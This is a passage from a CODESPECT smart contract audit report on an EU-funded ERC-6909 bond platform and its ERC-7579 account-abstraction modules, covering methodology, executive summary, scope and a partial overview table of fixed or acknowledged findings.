CODESPECT

European project for DLT financing for SME digitalization to overcome the crisis

FINAL AUDIT REPORT

June 30, 2026

Prepared for:



FACULTY OF ELECTRICAL ENGINEERING CTU IN PRAGUE

Contract:	P26V00332752
Reference:	FEL-AK-2026-02
Procurement ID:	VZ0245769
Project:	European project for DLT financing for SME digitalization to overcome the crisis
Project No.:	Z222901000001
Funded by:	EU + National Recovery Plan

Contents

1 About CODESPECT **4**

2 Disclaimer **4**

3 Risk Classification and Methodology **5**
3.1 Severity Rating . . . 5
3.2 Severity Levels . . . 5
3.3 Reference Frameworks . . . 5
3.4 Audit Activities . . . 6

4 Executive Summary **7**

5 Audit Summary **9**
5.1 Methodology and Tools . . . 9
5.2 Scope: Audited Files . . . 10
5.3 Codebases and Audited Revisions . . . 11
5.4 Review Basis (Full vs. Differential Review) . . . 11
5.5 Out of Scope . . . 11
5.6 Findings Overview (CODESPECT Review) . . . 13
5.7 Findings Overview (SpecSiege) . . . 14

6 System Overview **15**
6.1 Bond Registry and Token . . . 15
6.2 Access Layer: Entities, Policies, and Wallets . . . 16
6.3 Marketplace and Escrow Custody . . . 16
6.4 Account-Abstraction Modules (Kernel ERC-7579) . . . 16
6.5 Deployment and Upgradeability . . . 17
6.6 Access Control . . . 17
6.7 Trust Assumptions . . . 17

7 Findings **18**
7.1 Critical . . . 18
7.2 High . . . 18
7.2.1 [High] WebAuthn dummy-signature path bypasses challenge binding, enabling passkey assertion replay . . . 18
7.2.2 [High] The `WeightedValidator`'s `validateUserOp(...)` votes can be inflated . . . 20
7.3 Medium . . . 25
7.3.1 [Medium] Missing lower bound in `_validateInterestActivationWindow` allows interests to be activated before `saleEnd` 25
7.3.2 [Medium] `BURNER` caller lacks the `EntityRegistry`-enabled check that `FORCE_TRANSFER` enforces . . . 27
7.3.3 [Medium] `resolveCounterOffer(...)` checks buyer liveness but not entity-type allowlist membership on acceptance 29
7.3.4 [Medium] WeightedValidator ERC-1271 path counts duplicate guardian signatures (no dedup) . . . 30
7.3.5 [Medium] `resolveCounterOffer(...)` accepts seller acceptance after the parent offer has expired . . . 32
7.3.6 [Medium] Growing `Config` or `Counters` in a future upgrade shifts every downstream mapping slot and silently corrupts all marketplace state . . . 33
7.3.7 [Medium] `cancelBond(...)` permanently bricks an ISIN by leaving stale version pointers . . . 35
7.4 Low . . . 37
7.4.1 [Low] Bond-denomination currency allowlist drifts from marketplace allowlist . . . 37
7.4.2 [Low] `closeBond(...)` DoS via sending 1 wei of bond amount to the `_protectedAddress` . . . 39
7.4.3 [Low] `cancelOffer(...)` lacks an operator path, permanently blocking self-service recovery for failed INTEREST_-DISCOVERY offers with a disabled owner . . . 41
7.4.4 [Low] `closeIssuance(...)` on a still- `Published` bond permanently locks the ISIN's successor pipeline . . . 42
7.4.5 [Low] Misleading "printable ASCII" comment - _stringToFixedBytes accepts non-printable control characters . . . 44
7.4.6 [Low] `activateInterest(...)` re-validates investor entity type against the live allowlist rather than eligibility at expression time . . . 45
7.4.7 [Low] `deactivateModule(...)` bricks all active escrows for the deactivated module with no on-chain drainage path . 46
7.4.8 [Low] Both `ProxyDeployer` copies reserve no storage gap, exposing upgradeable `KernelFactory` and `WalletFactory` to layout shifts . . . 48
7.4.9 [Low] The `WeightedValidator` allows to register more guardians than it can handle . . . 49
7.4.10 [Low] Missing event emission on privileged configuration setters . . . 50
7.4.11 [Low] `Kernel` doesn't uninstall fallback modules correctly . . . 51
7.4.12 [Low] `WeightedValidator` allows the voting threshold to be 0 . . . 52
7.4.13 [Low] `BaseToken.setBondRegistry(...)` has no once-only guard, allowing the token's BondRegistry pointer to be rotated at any time by the owner . . . 53
7.4.14 [Low] `Marketplace.initialize(...)` open-policy fallback allows unrestricted access when `EntityRegistry` is not wired at deployment . . . 54
7.4.15 [Low] `ECDSAValidator` and `WeightedValidator` allow initialization of already initialized accounts . . . 55
7.4.16 [Low] No issuer-rotation/recovery path . . . 56
7.5 Info . . . 57
7.5.1 [Info] `expressInterest(...)` enforces no per-investor cap, allowing a single registered entity to reserve the full offer inventory and block cancellation . . . 57
7.5.2 [Info] Entity type existence has different requirements . . . 58
7.5.3 [Info] `pauseTokenId(...)` / `unpauseTokenId(...)` cannot curate per-tokenId pauses while global pause is active . . . 59
7.5.4 [Info] `freezePartialTokens(...)` / `batchFreezePartialTokens(...)` accept `_protectedAddress` targets . . . 60

7.5.5 [Info] WeightedValidator.validateUserOp(...) reverts on signature mismatch instead of returning SIG_VALIDATION_FAILED . . . 62
7.5.6 [Info] BaseToken.approve(...) is deviating from EIP-6909 . . . 63
7.5.7 [Info] FactoryStaker.deployWithFactory(...) accepts ETH but does not forward it . . . 64
7.5.8 [Info] CompanyWallet cannot receive ERC-721/ERC-1155 via EscrowManager safeTransferFrom(...) . . . 65
7.5.9 [Info] Trust assumption in Soldeer dependencies . . . 66
7.5.10 [Info] Unused Code . . . 67
7.5.11 [Info] DEUSSToken.initialize(...) does not auto-set _protectedAddress[EscrowManager], leaving bond custody unprotected until a separate post-deployment call is made . . . 68
7.5.12 [Info] setMaxCounterOffersPerUser(...) has no minimum guard, allowing ADMIN to set it to zero and disable all counter-offer flows . . . 69
7.5.13 [Info] DEUSSToken implementation contract is missing _disableInitializers(); . . . 70

8 SpecSiege Findings **71**
8.1 Critical . . . 71
8.2 High . . . 71
8.3 Medium . . . 71
8.3.1 [Medium] Timelock delay can be reduced immediately because TimelockEnforcerHook permits direct updateDelay calls . . . 71
8.3.2 [Medium] ECDSA root owner can bypass TimelockEnforcerHook by directly calling Kernel.execute . . . 74
8.3.3 [Medium] Disabled seller will create live marketplace offers after revocation for protocol users . . . 77
8.3.4 [Medium] Issuer reclaim can recycle frozen issuer inventory into unfrozen supply . . . 80
8.3.5 [Medium] supportsExecutionMode advertises CALLTYPE_STATIC . . . 81
8.3.6 [Medium] Timelock self-uninstall desynchronizes Kernel module state and can strand hooked accounts . . . 82
8.3.7 [Medium] uninstallModule does not enforce ERC-7579 revert semantics . . . 83
8.4 Low . . . 84
8.4.1 [Low] Validator Reinstallation Inherits Stale Selector Permissions . . . 84
8.4.2 [Low] Recovery action can reset Timelock executor state instead of only rotating the root validator . . . 85
8.4.3 [Low] closeBond can permanently brick an ISIN by redeeming the active version while a successor is pending . . . 86
8.4.4 [Low] cancelBond() + republish reuses the same tokenId, so stale ERC-6909 allowances can transfer newly issued replacement bonds . . . 88
8.4.5 [Low] Disabled or unlinked entity accounts can keep exercising scoped manager authority . . . 90
8.4.6 [Low] Missing check for a maximum expiry threshold . . . 91
8.4.7 [Low] transferAccountToEntity() does not rescope source-entity authority, so a moved account can continue administering the source entity while already belonging to a different destination entity . . . 92
8.4.8 [Low] WeightedValidator._removeGuardians reads authenticatorIdHash at the wrong memory offset, emitting a corrupted value in GuardianRemovedR1 . . . 94
8.4.9 [Low] rotateIssuer() Missing Replaced status support blocks issuer recovery on superseded bond versions . . . 96
8.4.10 [Low] A single guardian identity can satisfy a weighted multisig threshold when installed in multiple slots . . . 97
8.4.11 [Low] Fixed absolute payment deadline in interest-discovery deals gives late activators zero payment window, leading to guaranteed deal failure and griefing . . . 98
8.4.12 [Low] Silent executor auto-install via _configureSelector during fallback setup creates hidden privilege that persists after fallback removal, enabling unauthorized fund extraction . . . 101
8.4.13 [Low] Entity managers can claim arbitrary addresses without consent . . . 104
8.4.14 [Low] Missing Entity Validation in Seizure Functions Allows Bypass of Compliance Checks . . . 105
8.4.15 [Low] _isAccountEnabled check can be sometimes bypassed in Marketplace::cancelOffer() when the offer.saleMode is of INTEREST_DISCOVERY type . . . 106
8.4.16 [Low] Missing maximum on offer expiry permanently locks escrowed bonds and blocks redemption . . . 107
8.4.17 [Low] P-256 verification is non-robust: the Daimo-fallback branch discards the staticcall success flag and reverts on empty returndata, while the precompile branch fails closed . . . 109
8.4.18 [Low] Disabled EntityRegistry buyers can still receive settled standard assets because Marketplace settlement reuses stale buyer eligibility . . . 111
8.4.19 [Low] Recovery guardian will permanently brick Kernel root validation for account owner . . . 113
8.4.20 [Low] Removing a currency permanently blocks updatePublishedBond function, causing DoS to PUBLISHER on bond updates . . . 115
8.4.21 [Low] Upgradeable DEUSSToken inherits non-upgradeable OZ Pausable — _paused storage slot is unprotected, risking full-token freeze or pause bypass on any storage-adding beacon upgrade . . . 117
8.4.22 [Low] Unvalidated bondNominalValue in offers allows sellers to forge face-value metadata across the protocol's official integration surface . . . 119
8.4.23 [Low] Missing __gap reservation in upgradeable contracts and base contracts creates latent storage collision risk . . . 121
8.4.24 [Low] _validateCheckpointBlockNumber error emits block.timestamp instead of block.number, misleading error decoders . . . 123
8.5 Info . . . 124
8.5.1 [Info] Enable-Mode Validator Installation Bypasses The Timelock Hook . . . 124
8.5.2 [Info] TimelockEnforcerHook onUninstall does not revert on error . . . 125

9 Threat Model **126**

10 Evaluation of Provided Documentation **134**
10.1 Documentation QA . . . 134
10.1.1 Bond Contract: Registry . . . 134
10.1.2 Bond Contract: Marketplace . . . 135
10.1.3 Bond Contract: Token . . . 135
10.1.4 Bond Contract: Wallet . . . 135

10.1.5 Bond Contract: Governance . . . 136
10.1.6 Account-Abstraction: Timelock . . . 136
10.1.7 Account-Abstraction: Kernel Core . . . 136
10.1.8 Account-Abstraction: Other Undocumented Behaviour . . . 136

11 Test Suite Evaluation **137**
11.1 Project Contracts (`bond-contract-master`) . . . 137
11.1.1 Compilation Output . . . 137
11.1.2 Tests Output . . . 137
11.1.3 Notes on the Test Suite . . . 137
11.2 Kernel Contracts (`account-abstraction-master`) . . . 138
11.2.1 Compilation Output . . . 138
11.2.2 Tests Output . . . 138
11.2.3 Notes on the Test Suite . . . 138

12 Fuzz & Invariant Testing **140**
12.1 Assessment of the Existing Fuzzing Suite . . . 140
12.2 Bond Marketplace: Coverage Extensions and Findings . . . 141
12.3 Kernel Account Abstraction: Greenfield Harnesses and Findings . . . 141

1 About CODESPECT

CODESPECT is a specialized smart contract security firm dedicated to ensuring the safety, reliability, and success of blockchain projects. Our services include comprehensive smart contract audits, secure design and architecture consultancy, and smart contract development across leading blockchain platforms such as Ethereum (Solidity), Starknet (Cairo), and Solana (Rust).

At CODESPECT, we are committed to building secure, resilient blockchain infrastructures. We provide strategic guidance and technical expertise, working closely with our partners from concept development through deployment. Our team consists of blockchain security experts and seasoned engineers who apply the latest auditing and security methodologies to help prevent exploits and vulnerabilities in your smart contracts.

Smart Contract Auditing: Security is at the core of everything we do at CODESPECT. Our auditors conduct thorough security assessments of smart contracts written in Solidity, Cairo, and Rust, ensuring that they function as intended without vulnerabilities. We specialize in providing tailored security solutions for projects on EVM-compatible chains and Starknet. Our audit process is highly collaborative, keeping clients involved every step of the way to ensure transparency and security. Our team is also dedicated to cutting-edge research, ensuring that we stay ahead of emerging threats.

Secure Design & Architecture Consultancy: At CODESPECT, we believe that secure development begins at the design phase. Our consultancy services offer deep insights into secure smart contract architecture and blockchain system design, helping you build robust, secure, and scalable decentralised applications. Whether you're working with Ethereum, Starknet, or other blockchain platforms, our team helps you navigate the complexity of blockchain development with confidence.

Tailored Cybersecurity Solutions: CODESPECT offers specialized cybersecurity solutions designed to minimize risks associated with traditional attack vectors, such as phishing, social engineering, and Web2 vulnerabilities. Our solutions are crafted to address the unique security needs of blockchain-based applications, reducing exposure to attacks and ensuring that all aspects of the system are fortified.

With a focus on the intersection of security and innovation, CODESPECT strives to be a trusted partner for blockchain projects at every stage of development and for each aspect of security.

2 Disclaimer

Limitations of this Audit: This report is based solely on the materials and documentation provided to CODESPECT for the specific purpose of conducting the security review outlined in the Summary of Audit and Files. The findings presented in this report may not be comprehensive and may not identify all possible vulnerabilities. CODESPECT provides this review and report on an "as-is" and "as-available" basis. You acknowledge that your use of this report, including any associated services, products, protocols, platforms, content, and materials, is entirely at your own risk.

Inherent Risks of Blockchain Technology: Blockchain technology is still evolving and is inherently subject to unknown risks and vulnerabilities. This review focuses exclusively on the smart contract code provided and does not cover the compiler layer, underlying programming language elements beyond the reviewed code, or any other potential security risks that may exist outside of the code itself.

Purpose and Reliance of this Report: This report should not be viewed as an endorsement of any specific project or team, nor does it guarantee the absolute security of the audited smart contracts. Third parties should not rely on this report for any purpose, including making decisions related to investments or purchases.

Liability Disclaimer: To the maximum extent permitted by law, CODESPECT disclaims all liability for the contents of this report and any related services or products that arise from your use of it. This includes but is not limited to, implied warranties of merchantability, fitness for a particular purpose, and non-infringement.

Third-Party Products and Services: CODESPECT does not warrant, endorse, or assume responsibility for any third-party products or services mentioned in this report, including any open-source or third-party software, code, libraries, materials, or information that may be linked to, referenced by, or accessible through this report. CODESPECT is not responsible for monitoring any transactions between you and third-party providers. We strongly recommend conducting thorough due diligence and exercising caution when engaging with third-party products or services, just as you would for any other product or service transaction.

Further Recommendations: We advise clients to schedule a re-audit after any significant changes to the codebase to ensure ongoing security and reduce the risk of newly introduced vulnerabilities. Additionally, we recommend implementing a bug bounty program to incentivize external developers and security researchers to identify and disclose potential vulnerabilities safely and responsibly.

Disclaimer of Advice: FOR AVOIDANCE OF DOUBT, THIS REPORT, ITS CONTENT, AND ANY ASSOCIATED SERVICES OR MATERIALS SHOULD NOT BE CONSIDERED OR RELIED UPON AS FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER PROFESSIONAL ADVICE.

3 Risk Classification and Methodology

3.1 Severity Rating

Severity is determined by combining the technical **Impact** of an issue with the **Likelihood** of its exploitation, following the OWASP Risk Rating model adapted to smart contract context.

Severity Level	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Table 1: Risk Classification Matrix based on Likelihood and Impact

Impact

- **High**: Substantial loss of assets (more than 10%) within the protocol or significant disruption to the majority of users.
- **Medium**: Losses affecting less than 10% globally, or impacting only a portion of users, still considered unacceptable.
- **Low**: Inconveniences that are manageable; griefing attacks, minor inefficiencies, or recoverable failures.

Likelihood

- **High**: Very likely to occur, either easy to exploit or difficult but highly incentivized.
- **Medium**: Likely only under certain conditions or moderately incentivized.
- **Low**: Unlikely unless specific conditions are met, or there is little-to-no incentive for exploitation.

3.2 Severity Levels

- **Critical**: Vulnerability with direct, severe consequences such as loss of funds, complete protocol takeover, or unauthorised minting at attacker scale, with no or minimal preconditions outside the attacker's control. Must be addressed immediately if already deployed.
- **High**: Vulnerability with direct loss of funds or protocol-breaking impact, but contingent on realistic preconditions (e.g. specific market state, partial admin compromise, narrow timing window). Must be resolved before deployment, or urgently if already deployed.
- **Medium**: Vulnerability that causes loss of funds in edge cases or under specific preconditions, or significant logic bugs that degrade protocol behaviour without immediate fund loss. Recommended to fix.
- **Low**: Best-practice violation with security implications, minor logic issues, or inefficiencies (e.g. recoverable griefing, missing validations with limited reach). Can be fixed if desired but is not crucial.
- **Informational (Info)**: Non-security observation or code-quality suggestion. Does not pose a direct security risk but communicates useful information the audit team wants to record formally (e.g. stylistic recommendations, missing NatSpec, redundant code, or design considerations worth flagging).

3.3 Reference Frameworks

The audit is performed in accordance with industry best practices, drawing on principles from internationally recognised security frameworks, adapted to the specifics of distributed ledger technology and smart contract security:

- **OWASP**: Open Web Application Security Project (Risk Rating Methodology, OWASP Smart Contract Top 10, OWASP Smart Contract Security Verification Standard).
- **PTES**: Penetration Testing Execution Standard.
- **MITRE ATT&CK**: adversary tactics and techniques applicable to blockchain components.

- **CREST**: competency framework for security testing.

These frameworks are applied selectively. Only those parts that are relevant and appropriate to smart contract security review are referenced. Findings are cross-mapped, where applicable, to:

- **OWASP Smart Contract Top 10** (e.g. SC02 Integer Overflow/Underflow, SC05 Improper Access Control).
- **Smart Contract Weakness Classification** (SWC Registry — e.g. SWC-101, SWC-107).
- **Common Weakness Enumeration** (CWE) where a generic taxonomy applies.

3.4 Audit Activities

The audit covers the following activities, performed in accordance with industry best practices:

- Preparation and validation of a Smart Contracts inventory (contract names, scope boundaries, audited commit hash).
- Manual code review.
- Automated security scanning (static analysis).
- Fuzz and invariant testing.
- Assessment of security risks across the following areas: access control; reentrancy and state inconsistency; arithmetic and calculation errors; initialization and upgradeability; business logic and protocol design; economic and incentive-based attacks; front-running; oracle and external dependency risks; denial-of-service scenarios; time- and block-related assumptions; external contract interaction risks; chain- and ecosystem-specific risks; documentation/-code mismatch.
- Preparation of an Initial Audit Report and a Final Audit Report following retesting.
- Remediation review and verification of implemented fixes.

The specific tools, versions, scope, and coverage achieved are documented in Section 5 (Audit Summary).

4 Executive Summary

This document presents the security assessment conducted by CODESPECT for **Czech Technical University in Prague, Faculty of Electrical Engineering** on the **European project for DLT financing for SME digitalization to overcome the crisis** smart contracts.

The Project is a tokenized bond platform built for the European Blockchain Services Infrastructure (EBSI), the EU's permissioned blockchain. It lets identity-verified organisations issue ERC-6909 bonds and trade them through a custody-backed marketplace, with participation governed by an on-chain entity registry, a policy-driven company wallet, and a delegated role model. A second, architecturally independent set of ERC-7579 account-abstraction modules provides smart-account signature validation, delayed (timelocked) execution, and key recovery. The audit covered both codebases. Bond coupon and principal payments settle off-chain in fiat; the contracts themselves track bond metadata, supply, custody, and the settlement of the bond token.

The audit was performed using:

a) Manual analysis of the codebase.

b) Automated static analysis (Slither, Aderyn, or equivalent).

c) Dynamic analysis: fuzz and invariant testing.

d) Documentation review and execution testing against the provided test suite.

e) Open community review through the SpecSiege post-audit competition.

CODESPECT found 38 points of attention, two classified as `High`, seven classified as `Medium`, sixteen classified as `Low`, and thirteen classified as `Informational`. All of the issues are summarised in Table 2.

The SpecSiege double-check competition found 33 additional points of attention, seven classified as `Medium`, twenty-four classified as `Low`, and two classified as `Informational`. All of the issues are summarised in Table 3.

Audit Conclusion

The protocol was assessed in two complementary phases: a manual review by the CODESPECT team and an open community review by independent security researchers through the SpecSiege double-check competition. The CODESPECT review reported 38 findings, the majority in the Medium and Low severity range, accompanied by a number of informational notes. The subsequent SpecSiege phase produced 33 additional findings (7 Medium, 24 Low, and 2 Informational).
Across both phases, every identified issue was either properly fixed or acknowledged with a relevant justification. Based on the final state of the codebase, we consider it ready for production deployment, provided that the operators observe all documented limitations and apply the correct configuration that the protocol requires for safe and correct operation.
Based on the independent assessment performed, we concluded that the security of the developed DLT bond platform on the EBSI infrastructure for debt financing of small and medium-sized enterprises (distributed ledger technology) is functional and complies with the requirements defined within the scope of this audit.

Organisation of the document is as follows:

- **Section 3** presents the risk classification methodology and reference frameworks.
- **Section 4** contains the executive summary of the audit.
- **Section 5** summarises the audit (scope, schedule, tools, coverage, auditors).
- **Section 6** describes the functionality of the code in scope.
- **Section 7** presents the findings.
- **Section 8** presents the SpecSiege community double-check findings.
- **Section 9** presents the threat model of the protocol.
- **Section 10** discusses the documentation provided by the client.
- **Section 11** discusses the test suite provided by the client.
- **Section 12** evaluates the quality of the client's fuzzing test suite and the additional invariants added during the engagement.

Issues found during CODESPECT review:

Severity	Unresolved	Fixed	Acknowledged
Critical	0	0	0
High	0	2	0
Medium	0	7	0
Low	0	15	1
Informational	0	12	1
Total	**0**	**36**	**2**

Table 2: Summary of Unresolved, Fixed, and Acknowledged Issues

Issues found during SpecSiege:

Severity	Unresolved	Fixed	Acknowledged
Critical	0	0	0
High	0	0	0
Medium	0	5	2
Low	0	24	0
Informational	0	1	1
Total	**0**	**30**	**3**

Table 3: Summary of Unresolved, Fixed, and Acknowledged Issues

5 Audit Summary

Audit Type	Security Assessment
Project Name	European project for DLT financing for SME digitalization to overcome the crisis
Type of Project	ERC-6909 bond platform
Duration of Engagement	15 days
Duration of Fix Review Phase	3 days
Initial Report	June 5, 2026
Final Report	June 30, 2026
Repository (bond-contract)	onchain-core/bond-contract
Repository (account-abstraction)	onchain-core/account-abstraction
Commit (Audit, bond-contract)	`93bdd08e3e73fc78e8d6ee37b009506706e4efab` (tag 0.4.1)
Commit (Audit, account-abstraction)	`77a14c95b80ab7d6f3d308ec309cf17b6213629c` (tag 0.1.0)
Commit (After CODESPECT audit, bond-contract)	`6d5a13b8cef451e13ce8d882504708307574e273`
Commit (After CODESPECT audit, account-abstraction)	`43de386a608059e37b22b03afe6d03448815348b`
Commit (Final, bond-contract)	`ba4b2d1c835efdca2e6ed281cd58e540e56d3fe2`
Commit (Final, account-abstraction)	`846129313311df20385a9325db621cd799807f27`
Documentation Assessment (bond-contract)	High
Documentation Assessment (account-abstraction)	Medium
Test Suite Assessment (bond-contract)	High
Test Suite Assessment (account-abstraction)	Medium
Auditors	Lukasz Mikula, Ondřej Tatýrek, Simeon Cholakov, Fernando Velázquez
Double-check Competition (SpecSiege)	https://specsiege.codespect.net/
Contest Period	June 4, 2026 to June 14, 2026
Contest Researchers	50 invited, 31 active

Table 4: Summary of the Audit

5.1 Methodology and Tools

The audit was conducted in accordance with industry best practices, drawing on principles from OWASP, PTES, MITRE ATT&CK, and CREST as described in Section 3, and adapted to smart contract security as appropriate. Activities and tools used:

Activity	**Approach / Tool (version)**
Manual code review	Line-by-line review by senior auditors
Static analysis	Slither v0.11.5
Fuzz testing	Echidna v2.3.2
Invariant testing	Echidna v2.3.2
Documentation review	Cross-check between code, NatSpec, and external docs
Test suite execution	Foundry `forge` v1.7.1 (`forge test`)

5.2 Scope: Audited Files

Bond Contract Repository

#	File	nSLOC
1	registry/BondRegistry.sol	625
2	registry/BondRegistryStorage.sol	17
3	registry/BondStructs.sol	82
4	registry/EntityRegistry.sol	355
5	registry/EntityRegistryStorage.sol	10
6	registry/EntityStructs.sol	30
7	registry/EntityEligibilityGuard.sol	44
8	registry/PolicyRegistry.sol	380
9	registry/PolicyRegistryStorage.sol	14
10	registry/PolicyStructs.sol	18
11	registry/interfaces/IBondRegistry.sol	128
12	registry/interfaces/IEntityRegistry.sol	72
13	registry/interfaces/IPolicyModule.sol	8
14	registry/interfaces/IPolicyRegistry.sol	57
15	marketplace/AssetManager.sol	70
16	marketplace/EscrowManager.sol	264
17	marketplace/Marketplace.sol	884
18	marketplace/MarketplaceBase.sol	153
19	marketplace/MarketplaceStorage.sol	40
20	marketplace/MarketStructs.sol	130
21	marketplace/interfaces/IAssetManager.sol	18
22	marketplace/interfaces/IEscrowManager.sol	54
23	marketplace/interfaces/IMarketplace.sol	109
24	token/base/BaseToken.sol	177
25	token/base/BaseTokenStorage.sol	9
26	token/base/IBaseToken.sol	23
27	token/fungible/DEUSSToken.sol	289
28	token/fungible/DEUSSTokenStorage.sol	11
29	token/fungible/IDEUSSToken.sol	32
30	wallet/CompanyWallet.sol	82
31	wallet/CompanyWalletStorage.sol	8
32	wallet/ICompanyWallet.sol	14
33	wallet/WalletFactory.sol	61
34	wallet/WalletFactoryStorage.sol	6
35	wallet/IWalletFactory.sol	14
36	base/DependenciesBase.sol	51
37	base/EligibilityModuleBase.sol	15
38	base/IEntityEligibilityAdmin.sol	5
39	libs/Errors.sol	248
40	libs/AddressExtensions.sol	7
41	libs/StringExtensions.sol	23
42	utils/Multicall3.sol	150
43	utils/OwnableRolesExtension.sol	26
44	governance/TimelockController.sol	9
45	deployer/IProxyDeployer.sol	33
46	deployer/ProxyDeployer.sol	114
	Total	**4,969**

Account Abstraction Repository

#	File	nSLOC	Basis
1	kernel/Kernel.sol	463	Diff
2	kernel/factory/KernelFactory.sol	33	Diff
3	kernel/factory/FactoryStaker.sol	37	Diff
4	kernel/validators/ECDSAValidator.sol	88	Full
5	kernel/validators/WebAuthnValidator.sol	97	Diff
6	kernel/validators/WeightedValidator.sol	274	Diff
7	kernel/actions/RecoveryAction.sol	13	Full
8	kernel/webauthn/Base64URL.sol	23	Ref
9	kernel/webauthn/P256.sol	36	Ref
10	kernel/webauthn/P256Verifier.sol	220	Ref
11	kernel/webauthn/WebAuthn.sol	75	Ref
12	executors/ERC7579ExecutorBase.sol	42	Full

#	File	nSLOC	Basis
13	executors/timelock/Timelock.sol	201	Full
14	hooks/timelock/TimelockEnforcerHook.sol	91	Full
15	KernelSmartAccountUtils.sol	223	Full
16	libs/Errors.sol	224	Full
17	libs/AddressExtensions.sol	7	Full
18	utils/OwnableRolesExtension.sol	26	Full
19	deployer/ProxyDeployer.sol	114	Full
	Total	**2,287**	

5.3 Codebases and Audited Revisions

The engagement covered two architecturally independent Foundry projects that share no on-chain imports. Each codebase was audited at its own pinned revision:

Codebase	Commit (tag)	solc	EVM	Files	nSLOC
onchain-core/bond-contract (initially audited)	93bdd08 (0.4.1)	0.8.34	cancun	46	4,969
onchain-core/account-abstraction (initially audited)	77a14c9 (0.1.0)	0.8.34	prague	19	2,287
Total (initially audited)				**65**	**7,256**
onchain-core/bond-contract (final)	ba4b2d1	0.8.34	cancun	46	5,606
onchain-core/account-abstraction (final)	8461293	0.8.34	prague	19	2,410
Total (final)				**65**	**8,016**

Table 7: Audited codebases, with initially audited and final pinned revisions

Full initially audited commit hashes: `bond-contract = 93bdd08e3e73fc78e8d6ee37b009506706e4efab`; `account-abstraction = 77a14c95b80ab7d6f3d308ec309cf17b6213629c`.
Full final commit hashes: `bond-contract = ba4b2d1c835efdca2e6ed281cd58e540e56d3fe2`; `account-abstraction = 846129313311df20385a9325db621cd799807f27`. File and nSLOC counts are reported for both the initially audited and the final revisions over the same set of in-scope files, measured with `scc` (nSLOC is the `scc` Code count: physical source lines excluding blanks and comments). The in-scope file set is identical at both revisions (46 bond-contract and 19 account-abstraction files); the nSLOC growth reflects the remediation changes applied after the audit. Both codebases compile with `solc` 0.8.34; the bond platform targets the `cancun` EVM and the account-abstraction modules target `prague`.

5.4 Review Basis (Full vs. Differential Review)

The `bond-contract` codebase is original to this project and received a full line-by-line review of every in-scope file. The `account-abstraction` codebase adapts ZeroDev Kernel v3.3 from a UUPS upgrade model to a Beacon-proxy deployment model for EBSI; because parts of it are inherited from previously audited upstream code, each in-scope file carries a review basis indicating where review effort was concentrated:

- **Full**: full local review of the contract's logic. Project-original or substantially rewritten contracts: `ECDSAValidator`, `RecoveryAction`, `ERC7579ExecutorBase`, `Timelock`, `TimelockEnforcerHook`, `KernelSmartAccountUtils`, `Errors`, `AddressExtensions`, `OwnableRolesExtension`, and `ProxyDeployer`.
- **Diff**: review focused on the local/Kernel delta from the cited prior-audit baseline: beacon-compatible initialization, storage-layout compatibility, removed UUPS upgrade paths, factory allowlisting, and counterfactual-address determinism. Applied to `Kernel`, `KernelFactory`, `FactoryStaker`, `WebAuthnValidator`, and `WeightedValidator`.
- **Ref**: prior-audited upstream code reviewed only for local import / proxy / `solc` deltas: `Base64URL`, `P256`, `P256Verifier`, and `WebAuthn`.

The review basis records where effort was concentrated; it is not a validity boundary. A vulnerability located anywhere in a **Diff** or **Ref** contract's logic, not only in the changed lines, was treated as in scope when it is exploitable in the context of this deployment.

5.5 Out of Scope

The following were explicitly excluded from the engagement. Issues confined to these areas are out of scope:

- **bond-contract**: the marketplace lens and order-book stack, namely `src/marketplace/lens/`, `src/marketplace/Orderbook*`, and the filter/adapter chain (`src/marketplace/filters/*`, `IMarketFilter`, `IMarketplaceLens`, `IMarketplaceLensSource`); `src/deployer/*` except `IProxyDeployer` and `ProxyDeployer`; the `script/` and `test/` trees; and third-party dependencies.

- **account-abstraction**: `src/deployer/*` except `ProxyDeployer`; the `script/` and `test/` trees; and third-party dependencies. The ZeroDev Kernel core (v3.3), the ERC-4337 EntryPoint (v0.7.0), the EIP-7212 precompile, and the Daimo `P256Verifier` fallback are treated as trusted external components rather than audit targets.
- **Off-chain cash flows**: coupon and principal/redemption payments occur off-chain in fiat. The contracts track bond metadata, supply, custody, and trade settlement of the bond token only; issues premised on the chain paying coupons or face value are out of scope.

5.6 Findings Overview (CODESPECT Review)

	Finding	Severity	Update
1	WebAuthn dummy-signature path bypasses challenge binding, enabling passkey assertion replay	High	Fixed
2	The `WeightedValidator` 's `validateUserOp(...)` votes can be inflated	High	Fixed
3	Missing lower bound in `_validateInterestActivationWindow` allows interests to be activated before `saleEnd`	Medium	Fixed
4	`BURNER` caller lacks the `EntityRegistry` -enabled check that `FORCE_TRANSFER` enforces	Medium	Fixed
5	`resolveCounterOffer(...)` checks buyer liveness but not entity-type allowlist membership on acceptance	Medium	Fixed
6	WeightedValidator ERC-1271 path counts duplicate guardian signatures (no dedup)	Medium	Fixed
7	`resolveCounterOffer(...)` accepts seller acceptance after the parent offer has expired	Medium	Fixed
8	Growing `Config` or `Counters` in a future upgrade shifts every downstream mapping slot and silently corrupts all marketplace state	Medium	Fixed
9	`cancelBond(...)` permanently bricks an ISIN by leaving stale version pointers	Medium	Fixed
10	Bond-denomination currency allowlist drifts from marketplace allowlist	Low	Acknowledged
11	`closeBond(...)` DoS via sending 1 wei of bond amount to the `_protectedAddress`	Low	Fixed
12	`cancelOffer(...)` lacks an operator path, permanently blocking self-service recovery for failed INTEREST_DISCOVERY offers with a disabled owner	Low	Fixed
13	`closeIssuance(...)` on a still- `Published` bond permanently locks the ISIN's successor pipeline	Low	Fixed
14	Misleading "printable ASCII" comment - _stringToFixedBytes accepts non-printable control characters	Low	Fixed
15	`activateInterest(...)` re-validates investor entity type against the live allowlist rather than eligibility at expression time	Low	Fixed
16	`deactivateModule(...)` bricks all active escrows for the deactivated module with no on-chain drainage path	Low	Fixed
17	Both `ProxyDeployer` copies reserve no storage gap, exposing upgradeable `KernelFactory` and `WalletFactory` to layout shifts	Low	Fixed
18	The `WeightedValidator` allows to register more guardians than it can handle	Low	Fixed
19	Missing event emission on privileged configuration setters	Low	Fixed
20	`Kernel` doesn't uninstall fallback modules correctly	Low	Fixed
21	`WeightedValidator` allows the voting threshold to be 0	Low	Fixed
22	`BaseToken.setBondRegistry(...)` has no once-only guard, allowing the token's BondRegistry pointer to be rotated at any time by the owner	Low	Fixed
23	`Marketplace.initialize(...)` open-policy fallback allows unrestricted access when `EntityRegistry` is not wired at deployment	Low	Fixed
